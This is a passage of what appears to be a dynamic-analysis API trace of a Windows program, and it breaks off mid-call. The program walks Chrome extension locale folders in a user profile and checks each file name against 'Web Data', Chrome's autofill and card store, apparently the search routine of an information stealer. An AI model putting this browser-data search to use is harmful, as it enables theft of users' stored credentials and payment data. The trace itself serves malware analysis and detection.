lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\el" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\el") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\el" [0056.243] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\el", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\el\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\el\\*.*" [0056.243] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\el\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.243] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.243] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.243] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.243] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.243] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.243] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.243] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.243] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.243] LocalFree (hMem=0x2daca0) returned 0x0 [0056.243] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.243] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.243] lstrcmpiA (lpString1=".", lpString2="en_GB") returned -1 [0056.243] lstrcmpiA (lpString1="..", lpString2="en_GB") returned -1 [0056.243] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.243] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.243] lstrlenA (lpString="\\") returned 1 [0056.243] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.243] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.243] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.243] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.243] lstrlenA (lpString="en_GB") returned 5 [0056.243] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2dadb0 [0056.243] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.243] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="en_GB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_GB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_GB" [0056.243] LocalFree (hMem=0x2daca0) returned 0x0 [0056.243] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_GB") returned 134 [0056.243] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_GB") returned 134 [0056.244] lstrlenA (lpString="\\*.*") returned 4 [0056.244] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x2daec0 [0056.244] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_GB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_GB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_GB" [0056.244] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_GB", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_GB\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_GB\\*.*" [0056.244] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_GB\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.244] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.244] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.244] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.244] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.244] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.244] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.244] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.244] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.244] LocalFree (hMem=0x2daec0) returned 0x0 [0056.244] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.244] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.244] lstrcmpiA (lpString1=".", lpString2="en_US") returned -1 [0056.244] lstrcmpiA (lpString1="..", lpString2="en_US") returned -1 [0056.244] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.244] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.244] lstrlenA (lpString="\\") returned 1 [0056.244] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.244] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.244] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.244] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.244] lstrlenA (lpString="en_US") returned 5 [0056.244] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2dadb0 [0056.244] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.244] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="en_US" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_US") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_US" [0056.244] LocalFree (hMem=0x2daca0) returned 0x0 [0056.244] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_US") returned 134 [0056.244] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_US") returned 134 [0056.244] lstrlenA (lpString="\\*.*") returned 4 [0056.244] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x2daec0 [0056.244] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_US" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_US") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_US" [0056.244] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_US", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_US\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_US\\*.*" [0056.244] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_US\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.244] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.244] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.244] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.244] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.245] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.245] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.245] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.245] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.245] LocalFree (hMem=0x2daec0) returned 0x0 [0056.245] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.245] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.245] lstrcmpiA (lpString1=".", lpString2="es") returned -1 [0056.245] lstrcmpiA (lpString1="..", lpString2="es") returned -1 [0056.245] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.245] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.245] lstrlenA (lpString="\\") returned 1 [0056.245] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.245] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.245] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.245] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.245] lstrlenA (lpString="es") returned 2 [0056.245] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.245] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.245] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="es" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es" [0056.245] LocalFree (hMem=0x2daca0) returned 0x0 [0056.245] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es") returned 131 [0056.245] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es") returned 131 [0056.245] lstrlenA (lpString="\\*.*") returned 4 [0056.245] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.245] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es" [0056.245] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es\\*.*" [0056.245] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.245] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.245] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.245] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.245] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.245] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.245] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.245] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.245] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.245] LocalFree (hMem=0x2daca0) returned 0x0 [0056.245] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.245] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.245] lstrcmpiA (lpString1=".", lpString2="es_419") returned -1 [0056.245] lstrcmpiA (lpString1="..", lpString2="es_419") returned -1 [0056.245] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.245] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.245] lstrlenA (lpString="\\") returned 1 [0056.245] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.245] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.246] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.246] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.246] lstrlenA (lpString="es_419") returned 6 [0056.246] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dadb0 [0056.246] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.246] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="es_419" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es_419") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es_419" [0056.246] LocalFree (hMem=0x2daca0) returned 0x0 [0056.246] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es_419") returned 135 [0056.246] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es_419") returned 135 [0056.246] lstrlenA (lpString="\\*.*") returned 4 [0056.246] LocalAlloc (uFlags=0x40, uBytes=0x10c) returned 0x2daec0 [0056.246] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es_419" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es_419") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es_419" [0056.246] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es_419", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es_419\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es_419\\*.*" [0056.246] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es_419\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.246] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.246] FindNextFileA (in: 